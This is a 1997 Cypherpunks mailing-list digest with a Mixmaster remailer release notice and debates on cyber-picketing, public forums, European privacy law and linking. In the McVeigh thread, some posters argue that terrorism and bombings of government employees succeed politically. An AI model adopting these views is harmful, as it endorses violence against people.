Content-Type: text/plain



This is to announce the release of Mixmaster 2.0.4 beta.

  Mixmaster is a new class of anonymous remailers. Inspired by the
  existing "cypherpunk" remailers and discussions on the Cypherpunk
  mailing list, Mixmaster is the next generation in the evolution of
  remailer technology.

Mixmaster is available from:

ftp://ftp.replay.com/pub/replay/pub/remailer/Mix-204b1.tar.gz

What's new?
- several bug fixes.
- "middle only" remailer.
- messages compression.
- support for /dev/random.
- rudimentary support for the list of reliable Mixmaster remailers.
- new installation script.
- can be compiled under DOS/Windows.

Mixmaster is (C) by Lance Cottrell <loki@infonex.com>.
This release was made by Ulf Möller <um@idril.shnet.org>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 4 Jun 1997 23:06:18 +0800
To: tien@well.com>
Subject: Re: Rotenberg or Berman?  (was  Re: e$: Beltway piglets and otherbarnyard animals)
In-Reply-To: <v03007805afb8066bc310@[163.176.132.90]>
Message-ID: <v0302093dafb9de96af04@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:54 am -0400 on 6/3/97, Declan McCullagh wrote:


> This is a crucial point. Rotenberg != Berman.

To quote that great Tory, the late Francis Uquhart: "You may say that. I
couldn't *possibly* comment."

;-).

Of course dear old FU usually used that phrase in false denial. I have no
such intention here...

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 4 Jun 1997 22:33:35 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706041340.IAA01267@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Wed, 4 Jun 1997 09:06:19 -0400 (EDT)
> From: Declan McCullagh <declan@pathfinder.com>
> Subject: Re: Webpage picketing (fwd)

> Jim's fundamental misunderstanding below seems to be, as far as I can
> tell, confusing public funding with public forums.

What is amazing is your denying there is any sort of connection at all. I am
not claiming that they are 1-to-1 as you would have readers believe but
rather one brings along certain rights for the user from the other area.
One of those rights is going to be protection of their civil liberties. Your
tacit assertion that simply because some resource receives public money does
not affect the civil or criminal aspect at all is also misleading.

> Just because an entity
> receives most, or all, of its funding from the state does not mean that
> that entity or the service that entity provides becomes a public forum for
> the purposes of First Amendment analysis.

BUT, and you seem unable to grasp this important concept, its users DO
receive such extra protection over and above a solely private resource.
This means that communictions BETWEEN said users will ALSO gain that
protection. Now it seems plain to me that if the reader sends a packet over
that network link, the server sends a packet over that same network in
responce a third party on that link with a CIVIL interest in the content of
that exchange may be able to force a minimal level of communications because
they ALSO use that link and have a vested interest in what the server is
sending over that link publicly.

> After all, many research
> universities receive half their revenues from Federal grants but they do
> not become public fora. I suppose part of the analysis in this case might
> turn on whether the state is setting up such networks itself and "owning"
> them or whether it's providing grants to a private entity.

If the government owns the link, say between Salt Lake and Chicago, wholely
then there is most definitely a comparison to be made. Even if the funding
is only partial that still brings along additional contractual obligations
for the operators in regards to civil rights and legal protections.

I could see them taking the end-point servers over on national security
grounds (like civilian airport radio equipment or the telephone) in regards
to breeches or damages against the servers. Shoot, they could integrate them
into the EBS (or whatever they are calling it this week). That could mean
that ANY hacking that was carried would automaticaly involve the government
on national security grounds ("Damn, I wish I hadn't changed my password
without writing it down!..."). THAT is just way too Red Scare for me.

> Again, the Internet is not a public street.

Yes, and your point? It can't be that a specific backbone cable between two
cities owned by the government is equivalent to the Internet in toto, even
conceptualy. Because it is clear that such a construct is equivalent to the
publicly funded highway running between the same cities, and you most
definitely CAN picket on a highway easment legaly. I have seen farm workers
in Texas do it my entire life. The Info-Highway comparison goes a LOT
farther than most people seem to have taken it. I personaly, don't think we
should go there in the case of communications technology.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 4 Jun 1997 22:03:02 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Webpage picketing (fwd)
In-Reply-To: <199706040442.XAA00428@einstein.ssz.com>
Message-ID: <Pine.GSO.3.95.970604085107.19844C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm in NYC now and have to leave for work in a moment, so I'll keep
my response to Jim brief.

> In short it is a statement that it MIGHT be possible to use publicly
> funded network backbones to seriously impede communication using the
> system against itself. 

Jim's fundamental misunderstanding below seems to be, as far as I can
tell, confusing public funding with public forums. Just because an entity
receives most, or all, of its funding from the state does not mean that
that entity or the service that entity provides becomes a public forum for
the purposes of First Amendment analysis. After all, many research
universities receive half their revenues from Federal grants but they do
not become public fora. I suppose part of the analysis in this case might
turn on whether the state is setting up such networks itself and "owning"
them or whether it's providing grants to a private entity.

> I am stating the status quo, the level of expectant privacy on a public
> street (internet) is in no way nearly as comprehensive as in your home
> (intranet). Should you doubt this, walk around your living room with the

Again, the Internet is not a public street. It is not owned by the public. 
It is not a public forum, which is a term with a special legal meaning. It
is a privately-owned collection of networks. (Part of the problem here is
that we use "private" to mean both individually-owned and "expectation of
confidentiality or security.")

But I agree with Jim on the broader point, that we should question state
funding of network infrastructue. 

-Declan



On Tue, 3 Jun 1997, Jim Choate wrote:

> Hi,
> 
> Forwarded message:
> 
> > Date: Tue, 3 Jun 1997 23:57:47 -0400 (EDT)
> > From: Declan McCullagh <declan@pathfinder.com>
> > Subject: Re: Webpage picketing
> 
> > Pickets arise from a peculiar set of circumstances that arise in
> > meatspace, including public streets. Sure, you can picket The Gap at the
> > store up the block from my office on Connecticut Avenue. But try to wave
> > those signs outside The Gap in the Pentagon City mall not far away, and
> > you'll be chased off by the security guards. It's a private space;
> > different rules apply.
> 
> Pickets arise from people getting pissed off about some aspect of their
> economic life and using their right to free speech to express it.
> 
> Absolutely, but I can most definitely picket the mall and the store at that
> point with complete impunity from the sidewalk. And please correct me if my
> geometry/geography is wrong, but in order to get into the private parking
> spot at the private mall you do have to drive off the public street ACROSS
> the public sidewalk where all those picketers are standing. After all, if
> the mall won't let me express my opinions then I have an economic right as
> a consumer to express my displeasure and try to warn other consumers of the
> danger. It is irrelevant to my goal as a economic consumer whether I picket
> the store inside the mall or outside. What IS important is that I have legal
> access to ALL the customers using that business(es).
> 
> > And I think that we should be very careful about calling the Net a public
> > forum. Sure, places like Usenet resemble a public forum in some ways, but
> > it's not the same.
> 
> But I am not calling the net a public forum. I am specificaly talking about
> a special case that might arise if we are not aware of the consequences. In
> short it is a statement that it MIGHT be possible to use publicly funded
> network backbones to seriously impede communication using the system against
> itself.
> 
> > I think Greg has it right: you want to forcibly intervene in a
> > communication between two consenting parties. What you want is similar to
> > the right to come into my home and prevent me from speaking freely to my
> > friend or lover. 
> 
> Not at all, unless you are implying the same expectation of privacy on a
> public street (or backbone) that you would get in your home (or intranet).
> I am stating the status quo, the level of expectant privacy on a public
> street (internet) is in no way nearly as comprehensive as in your home
> (intranet). Should you doubt this, walk around your living room with the
> blinds drawn butt-naked and then try that again in the middle of downtown
> at 5pm. If you want to go to store A and it is covered in picketers, you
> WILL hear and see them even if you don't want to. Their right to speech is
> such that if you want to use that business you must submit to an exposure of
> their views however brief. My thesis is that it may be possible to extend
> this legaly supportable model to a backbone which derives some or all of its
> income from public funds. This could be a BAD thing, is it and why?. If it
> is acceptable use of publicly funded resources in meatspace why should
> publicy funded resources in bitspace be exempted? No more, no less.
> 
>    _______________________________________________________________________
>   |                                                                       |
>   |            Speak the truth, but leave immediately after.              |
>   |                                                                       |
>   |                                     Slovenian Proverb                 |
>   |                                                                       |
>   |     Jim Choate                                 ravage@ssz.com         |
>   |     The Armadillo Group                        www.ssz.com            |
>   |     Austin, Texas, USA                         512-451-7087           |
>   |_______________________________________________________________________|
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 4 Jun 1997 22:49:54 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing?... (fwd)
Message-ID: <199706041411.JAA01411@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 3 Jun 1997 16:02:02 -0700
> Subject: Re: Webpage picketing?...
> From: nobody@huge.cajones.com (Huge Cajones Remailer)

> > You may dislike
> > one of the sites linking to yours, but you really can't hijack their
> > connections and force people to listen to you who don't want to.
> 
>   Wrong! It's done every day in every media from newspapers to TV
> and points in between, including the InterNet.

>   I have a lot of respect for Peter's work, opinions and for his
> integrity, but my perception is that he fails to understand that
> the InterNet is a growing mosaic which can and should reflect
> *all* of life, and that his perception of what the InterNet is
> and should be somehow dictates what should and should not be
> done on the InterNet.
>   I think that what should be done on the InterNet is exactly
> what people *want* to do. It is up to their own conscience as
> to whether their actions are done with integrity and up to the
> rest of us to interpret and respond to those actions.

Agreed. However, I see a situation happening akin to a sheeple goes into the
public library and checks out a book on pro-life politics and because of
excessive civil liberty protection is then required to also check out a book
on pro-abortion to make shure they are informed.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 4 Jun 1997 23:31:59 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706041455.JAA17498@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970603165035.36961@bywater.songbird.com>, on 06/03/97 
   at 04:50 PM, Kent Crispin <kent@songbird.com> said:

>On Tue, Jun 03, 1997 at 06:43:10PM +0000, Paul Bradley wrote: [...]
>> > McVeigh ripped the heart out of the militia movement, he demonstrated
>> > what it was really about. Ironically the Oaklahoma bombing may have
>> > had precisely the effect McVeigh desired but in a very different 
>> > sense. It was a wake up call to defend the country from fascism 
>> > but the fascist threat was McVeigh and the millitia movement.
>> 
>> Of course, if the militia movement were to have any effect a concentrated 
>> effort or even a few bombings killing only government employees would 
>> have been a better course of action.

>*Any* such violence on the part of militia movements will only  generate
>sympathy for the victims, and harm the movement more than it  helps.  

Perhaps perhaps not.

Taking a look at modern history would show other wise.

IRA activities brought England to the bargining table though talks have
currently staled.

Jews bombing and attacks against the brittish finaly brought about their
independance.

Palisinian's continued violance has brought the Israelies to the bargining
table and eventually will lead to an independant Palistinain state.

"Terrorist" activities of the Contras finally brought free elections to
Nicaragua.

Many such terrorist activities have brought political sucess to the groups
supporting them.

>> > recovered from the beer hall putsch. Alternatively they can 
>> > loudly claim that McVeigh was "framed" in the same way that
>> > other neo-NAZIs on the net claim the holocaust a fake, i.e.
>> > so that nobody really believes it. I suspect that this script
>> 
>> The militias would be better to disown McVeigh and condemn his alleged 
>> actions because he killed innocents. 

>But they won't, because they are pathetic insects drawn to the candle
>flame of violence.  Contrast that with the brilliance of the anarchist
>Eward Abbey in "The Monkey Wrench Gang", where the anti-government acts
>were calculated to call forth popular support. 

Hmmm I see to recall that the Brittish Empire showed the same contempt for
a group of fredom loving Americans 200yrs ago. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 4 Jun 1997 23:25:50 +0800
To: ravage@EINSTEIN.ssz.com
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706041504.KAA17624@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706041340.IAA01267@einstein.ssz.com>, on 06/04/97 
   at 08:40 AM, Jim Choate <ravage@EINSTEIN.ssz.com> said:

>Yes, and your point? It can't be that a specific backbone cable between
>two cities owned by the government is equivalent to the Internet in toto,
>even conceptualy. Because it is clear that such a construct is equivalent
>to the publicly funded highway running between the same cities, and you
>most definitely CAN picket on a highway easment legaly. I have seen farm
>workers in Texas do it my entire life. The Info-Highway comparison goes a
>LOT farther than most people seem to have taken it. I personaly, don't
>think we should go there in the case of communications technology.

I think that your analogy is slightly flawed.

While the farmers have a right to protest on the side of the road they do
not have a right to interfere with the travelers on the road.

There is no real way you could picket on the "Info highway" as you have no
right to interfere with the packets traveling on the highway. You can
stand of to the side if you want but somehow I don't think that the
packets will be watching. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Wed, 4 Jun 1997 22:33:27 +0800
To: Jeremey Barrett <jeremey@bluemoney.com>
Subject: Re: Profanity, PCS phones, and FCC
In-Reply-To: <3.0.2.32.19970604013225.007eb590@descartes.bluemoney.com>
Message-ID: <Pine.GSO.3.95.970604100034.25426C-100000@king>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 4 Jun 1997, Jeremey Barrett wrote:

> Well I went and got a PCS phone (Ericsson), and was pilfering through the 
> manual, and came across this amusing text in the "Operating procedures"
> section of the "Guidelines for Safe and Efficient Use":
[snip]
>    o Use of profane, indecent, or obscene language while using your
>      phone.
> Joy. More laws to break.

I believe this has been true about your regular phone line for years as
well.  It's unenforceable, and as a practical matter the FCC isn't going
to care, *EVER* about it.


-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
ryan@michonline.com                           Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Wed, 4 Jun 1997 23:50:27 +0800
To: Jim Choate <cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
In-Reply-To: <199706040442.XAA00428@einstein.ssz.com>
Message-ID: <3.0.1.32.19970604103432.00a8b300@labg30>
MIME-Version: 1.0
Content-Type: text/plain



At 11:42 PM 6/3/97 -0500, Jim Choate wrote:
>Pickets arise from people getting pissed off about some aspect of their
>economic life and using their right to free speech to express it.

A solution that doesn't involve legislation (the only kind to promote,
IMHO) would be to have a www.socially-aware.org site containing the links
to the various businesses, where your picketers can plant their signs, etc.
 Then, as a socially-aware consumer, I would begin my surfing at
www.politically-correct.org, read the union notices, the PETA notices,
etc., and then connect to www.beef-n-fur.com via their links.

This is a win-win-win type solution.  Best of all, there are no legal
intrusions being thrust upon anyone.  If I'm Joe Sixpack, paid my union
dues for the last 25 years, I'm sure as hell going to go through the
www.labor.com page to check out the retailers before shopping there.  If
I'm Jane Greene, I'm gonna make sure no baby seals were clubbed in the
making of my hemp shoes, so I'll do my surfing through links from
www.green.org's web site.  And, if I'm one of the other 80% of the people
who don't give a damn about union labor problems, baby seals, or the plight
of migrant grape pickers, it'll save me the trouble of ignoring them as I
walk by.

So what if they only get to preach to the choir?  What about the rights of
the atheist to not have preaching in their private home, on their modem?

(This brings to mind another solution:  "The Christian IP Network.
Guaranteed to not deliver unto you the E-vil packets of the Demons of
Pornographers, Terrorists, Narcotics Traffickers, Money Launderers or
Cypherpunks.  We're the ISP that delivers only Family-Valued, God-Blessed
and Jesus-Approved packets to your customers.  Send lots of money now,
censors are standing by."  Hey, if they want to hide behind a whole
firewall full of censors, that's just fine by me.)

If Organized Labor or VerdurePax wants to start doing something like this
today, they're certainly welcome to do it.  For all I know, they might be
doing it now.  That's the beauty inherent in the system -- if I don't
personally care about their issues, they're not sucking up my bandwidth
with their propaganda.  And say what you like about free speech, since I
have to pay MONEY and waste my time on my modem connection, I have the
right to not download the bits I don't care about.

John
--
No one's right to free speech was trampled on by the existence of this
e-mail. Either you've voluntarily subscribed to a mailing list that
delivers it, or you're voluntarily reading it in a publically available
newsgroup or mirror.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 4 Jun 1997 23:29:18 +0800
To: Marc Rotenberg <3umoelle@informatik.uni-hamburg.de (Ulf Möller )
Subject: Europrivacy
In-Reply-To: <m0wYgFx-0003b9C@ulf.mali.sub.org>
Message-ID: <3.0.2.32.19970604104626.035ebb28@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:13 AM 6/3/97 -0500, Marc Rotenberg wrote:
>http://wwww.wired.com/wired/4.05/idees.fortes/eurocrats.html
>
>Eurocrats Do Good Privacy
>
>Marc Rotenberg
>
>       It shows that governments, at least some
>governments, can be a force for progress in the crypto
>       world.

We're talking here about governments where unlicensed crypto is a crime.  Or 
other countries where anonymity is illegal.  Give me a break.

>       Reread that sentence. It is not conventional wisdom in the United
>States. Cyberlibertarians have been unrelenting in
>       their opposition to any federal role in crypto policy. Free
>marketers argue simply that there is no place for government
>       in the development of high-tech products. Cyberanarchists seem to
>doubt whether there is any role at all for
>       government.

And EPIC (nee CPSR) and CD&T are run by Left pro-government types who like
big 
governments and high taxes.  So we're even.

>       But the recent European experience should give pause to these allies
>in the battle for online privacy. Not only are
>       European officials at the highest levels prepared to embrace
>technologies of privacy, they have almost uniformly
>       opposed US-inspired surveillance schemes such as Clipper.

So are they going to give up their street cameras, address registration (in 
Belgium, you can't get the gas service turned on in your flat if you haven't 
registered with the commune -- but you can get electricity), occupational 
licensure (of *all* occupations as in Germany), national ID cards, Financial 
Police (Italy), computer registration, piles of mandatory paperwork, etc.?

>       Two recent reports are indicative. In "Privacy-Enhancing
>Technologies: The Path to Anonymity," the Netherlands and
>       the Canadian province of Ontario call for an exploration of new
>technologies to promote privacy. 

They could just repeal their privacy invading laws and regs.  No new 
technology needed.

>       It doesn't have to be this way. The reality of modern society is
>that government officials make decisions every day
>       about the rights of citizens. 

And with modern technology, we turn right around and make decisions on the
rights of governments.

>       not. Compared with governments that lack privacy officials,
>governments that have privacy officials have repeatedly
>       weighed in favor of privacy interests.

Then why do Europeans have *much* less privacy than Americans.  Tiny
example.  
In much of Europe, if mail coming to your flat is not addressed to the name
on 
the mailbox, it doesn't get delivered.  In the U.S., the P.O. still tends to 
deliver as addressed and let the occupants sort it out.  Somewhat looser.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 4 Jun 1997 23:42:41 +0800
To: cypherpunks@einstein.ssz.com
Subject: Re: McVeigh
In-Reply-To: <3393682D.167E@ai.mit.edu>
Message-ID: <0nZMXF200YUg07xmg0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz <frantz@netcom.com> writes:
> At 4:50 PM -0700 6/3/97, Kent Crispin wrote:
> >Contrast ["milita violence"] with the brilliance of the anarchist
> >Eward Abbey in "The Monkey Wrench Gang", where the anti-government
> >acts were calculated to call forth popular support.
<snip>
> If you at least avoid killing people, then you have fewer bitter enemies
> and a better chance of holding on to your winnings.  The examples of
> Gandhi, King, and Mandala come to mind.  Contrast their success with the
> results of the violence approach as exemplified by the generations old wars
> in Ireland and Israel.

You left out Sea Shepard, who sank the entire Icelandic whaling fleet
(with zero casualties) on night. Earth First!, Greenpeace, and other
somewhat-less-direct action groups have used "terrorist" means and
achieved enourmous popular support.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Wed, 4 Jun 1997 23:46:05 +0800
To: Jim Choate <cypherpunks@EINSTEIN.ssz.com
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706041452.JAA01618@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim writes:

[Jim wants to be able to 'cyber-picket' - force people to read his 
 opinions before they can browse sites he does not like. He is 
 attempting to claim that the net backbones corrospond to public
 spaces, where his local government permits him to picket.]

> Declan writes:
>> And I think that we should be very careful about calling the Net a public
>> forum. Sure, places like Usenet resemble a public forum in some ways, but
>> it's not the same.
> 
> But I am not calling the net a public forum. I am specificaly talking about
> a special case that might arise if we are not aware of the consequences. In
> short it is a statement that it MIGHT be possible to use publicly funded
> network backbones to seriously impede communication using the system against
> itself.

>> I think Greg has it right: you want to forcibly intervene in a
>> communication between two consenting parties. What you want is
>> similar to the right to come into my home and prevent me from
>> speaking freely to my friend or lover. 


'Publically funded network backbones'? Can you name one (in the US)? 
NSFnet and ARPAnet are long dead. Back when they were active, there was 
considerable debate about the legality of commercial speech on the 
net, and earlier, doubts about the legality of any traffic (including 
private email) which was not in support of government funded research.
(the first big mailing list, the SF-Lovers Digest, had a 
quasi-underground existence for many years due to this worry).

Jim also writes:

>Lack of public space may be the saving grace, unfortunately there is
>quite a bit of involvment planned by Uncle Sam if I am not
>mistaken...Internet II... V-II Chip... GAK... ITAR... That
>supercomputer science network thingy...

None of which have the slightest relevance - Internet II is a 
proposed (and still vaporware) project for an academic-research-only
network - it's future existence has no impact on those of us using
the private backbone system of today. Ditto that 'supercomputer 
science network thingy' you mention, which I suspect is the same 
thing. As for "V-II Chip... GAK... ITAR": The fact that some people
in government propose unconstitutional regulations, unworkable
technologies, and policies which work against the public interest
is not a basis to propose further undesirable policies.

Question: if you get the ability to put up your 'cyber-picket' frame,
how about cyber-counter-pickets? Cant the picketee put a page in 
front of yours? Who gets priority? Where does it stop? 

Jim, your idea is roadkill on that horribly imprecise analogy, 
the 'information superhighway' (spit). It can't be resuscitated 
by asking for 'information super-sidewalks' or claiming the existance 
of 'information super-public-spaces'. The underlying metaphor is 
fatally flawed.

Peter Trei
trei@process.com
Disclaimer: These are my own opinions only.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 5 Jun 1997 05:48:14 +0800
To: Asgaard <asgaard@cor.sos.sll.se>
Subject: Re: May's Banal Rant
In-Reply-To: <Pine.HPP.3.91.970603194454.19822D-100000@cor.sos.sll.se>
Message-ID: <Pine.LNX.3.91.970603235531.392A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> *Why is it that people of finer (?) English heritage often has a double
> second name? Someone once suggested to me that it originates from having
> (or an ancestor having) adopted the name of both one's 'marital' father
> and one's biological father, for reasons of property inheritance, but
> I never believed that one. Just curious.


I believe historically this would not be the case, for obvious reasons of 
reputation.

Today, a few English people take both their mothers and fathers names, 
for example, a friend of mine is William Casson-Smith, of course, not all 
names sound good like this, ie. Paul Bradley-Hemsley, interestingly they 
only sound right if the second name has one less syllable than the first.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 5 Jun 1997 00:33:58 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <3.0.2.32.19970603234401.03ccf980@panix.com>
Message-ID: <JewR8D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



frissell@panix.com writes:
> Circa 1974, I was sitting in my law school lounge watching "The Charge of the
> Light Brigade" starring Errol Flynn on TV.  There was a group of other
> students there.  Then came the line from the film: "Men, we're going to show
> these Turks that you can't murder innocent women and children and live to
> boast about it (a British garrison had been attacked, which led to the
> Charge).  I immediately piped up, "That's funny, George McGovern did!"

I haven't seen the movie, but my recollection is that in real life the
British were attacking the Russians.  See, the Turks were killing
Xians in the Balkans, and the Russians foolishly tried to protect them,
and the British stepped in to protect the Turks.  Maybe they changed it
all in the movie version (can't expect U.S. moviegoers to follow 19th
century politics).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 5 Jun 1997 00:00:18 +0800
To: cypherpunks@toad.com
Subject: Re: Profanity, PCS phones, and FCC
In-Reply-To: <3.0.2.32.19970604013225.007eb590@descartes.bluemoney.com>
Message-ID: <3LwR8D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jeremey Barrett <jeremey@bluemoney.com> writes:

>
> Well I went and got a PCS phone (Ericsson), and was pilfering through the
> manual,                                             ^^^^^^^^^

Are you a native speaker of English, Jeremy?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 00:53:02 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hacker Links page (fwd)
Message-ID: <v03102813afbb4a89cf8f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I sent this out last night, leaving the Cypherpunks distribution as
"cypherpunks@einstein.ssz.com." Alas, it does not seem to have propagated
to my site.

So here it is:


>Date: Tue, 3 Jun 1997 19:09:30 -0700
>To: Jim Choate <ravage@einstein.ssz.com>, cypherpunks@einstein.ssz.com
>(Cypherpunks Distributed Remailer)
>From: Tim May <tcmay@got.net>
>Subject: Re: Hacker Links page (fwd)
>Cc:
>Bcc:
>X-Attachments:
>
>
>When I was on the Cyberial-l list, for lawyers and others interested in
>cyberspace law issues, this issues of URLs being infringements came up a
>couple of times.
>
>I think the answer is very clear: nobody needs permission of others to
>print URLs.
>
>URLs are like footnotes. They are not actually links or tunnels of any
>sort. They are just like "machine readable footnotes." If I refer a reader
>to "Applied Cryptography," either by citing the book title and ISBN numer,
>I do not need the permission of Bruce Schnier to cite this information. No
>copyright law has ever been held to apply to the recitation of such cites.
>
>A URL is just an address, much like a ISBN number.
>
>In modern browsers, clicking on such a URL may be perceived as "taking you
>there," and in some sense it does. But what the clicking really does is to
>invoke the commands needed to send stuff to the address specified in a URL
>and ask that site to send some stuff back.
>
>Jim and others know this, of course, so I am not lecturing them. Rather, I
>am framing the debate in terms that copyright lawyers will surely
>understand.
>
>Now, it may be true that Don Lancaster has decided, for example, that he
>doesn't "like" the association of his URL with "hacker" topics. Too bad.
>
>It would be no different if Lancaster were to object to Timothy McVeigh
>providing a reference or footnote to Lancaster's "The TTL Cookbook." Even
>if McVeigh were to say he found the "TTL Cookbook" essential for building
>bomb timers. (Not that far-fetched, actually.)
>
>"Fair use" extends to even including chunks of another's writing for
>purposes of comment, critique, agreement, discussion, etc. It clearly then
>applies to cites of the author's books.
>
>And more than just "fair use," citing the influence of others and saying
>where more information can be found is the essence of free speech.
>
>(Which means I have the feeling Electronic Frontiers Georgia may be
>entering the case on the side of Lancaster!)
>
>And Lancaster's choice to make his URL publically accessible means that
>anyone can click on it. Open and shut.
>
>--Tim May
>
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 01:10:28 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Profanity, PCS phones, and FCC
In-Reply-To: <3.0.2.32.19970604013225.007eb590@descartes.bluemoney.com>
Message-ID: <v03102814afbb4e7abcbb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:03 AM -0700 6/4/97, Ryan Anderson wrote:
>On Wed, 4 Jun 1997, Jeremey Barrett wrote:
>
>> Well I went and got a PCS phone (Ericsson), and was pilfering through the
>> manual, and came across this amusing text in the "Operating procedures"
